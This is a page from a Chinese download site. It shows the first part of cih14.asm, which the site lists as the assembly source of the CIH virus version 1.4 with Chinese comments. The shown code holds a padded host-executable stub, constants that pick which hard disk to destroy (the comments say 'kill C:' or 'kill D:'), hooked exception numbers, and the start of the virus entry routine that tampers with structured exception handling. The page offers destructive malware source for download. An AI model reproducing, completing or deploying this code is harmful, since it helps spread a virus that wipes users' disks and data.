⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih14.asm

📁 有名的CIH病毒1.4版本之中文注释,有asm源代码及doc说明
💻 ASM
📖 第 1 页 / 共 2 页
字号:
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h           
                db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h           
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h           
                dd      00000000h, VirusSize                                     
                                                                                 
OriginalAppEXE  ENDS                                                             
                                                                                 
; ****************************************************************************   
; *                     My Virus Game                                        *   
; ****************************************************************************   
                                                                                 
; *********************************************************                      
; *                    Constant Define                    *                      
; *********************************************************                      
                                                                                 
TRUE                    =       1                                                
FALSE                   =       0                                                
                                                                                 
DEBUG                   =       TRUE                                             
                                                                                 
MajorVirusVersion       =       1                            ;主版本号                    
MinorVirusVersion       =       4                            ;副版本号                    
                                                                                 
VirusVersion            =       MajorVirusVersion*10h+MinorVirusVersion  ;合成版本号        
                                                                                 
                                                                                 
IF      DEBUG                                                ;是否是调试用                    
                                                                                 
        FirstKillHardDiskNumber =       81h                  ;杀掉第二个硬盘“d:”                    
        HookExceptionNumber     =       05h                  ;使用5号中断                    
                                                                                 
ELSE                                                                             
                                                                                 
        FirstKillHardDiskNumber =       80h                  ;杀掉第一个硬盘“c:”                    
        HookExceptionNumber     =       03h                  ;使用3号中断                    
                                                                                 
ENDIF                                                                            
                                                                                 
                                                                                 
FileNameBufferSize      =       7fh                                              
                                                                                 
; *********************************************************                      
; *********************************************************                      
                                                                                 
VirusGame               SEGMENT                                                  
                                                                                 
                        ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame         
                        ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame         
                                                                                 
; *********************************************************                      
; *             Ring3 Virus Game Initial Program          *                      
; *********************************************************                      
                                                                                 
MyVirusStart:                                                                    
                        push    ebp                                              
                                                                                 
; *************************************                                          
; * Let's Modify Structured Exception *                                          
; * Handing, Prevent Exception Error  *                                          
; * Occurrence, Especially in NT.     *                                          
; *************************************                                          
                                                                                 
                        lea     eax, [esp-04h*2]                                 
                                                                                 
                        xor     ebx, ebx                                         
                        xchg    eax, fs:[ebx]                                    
                                                                                 
                        call    @0                                               
@0:                                                                              
                        pop     ebx                     ;获取程序起始偏移量

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -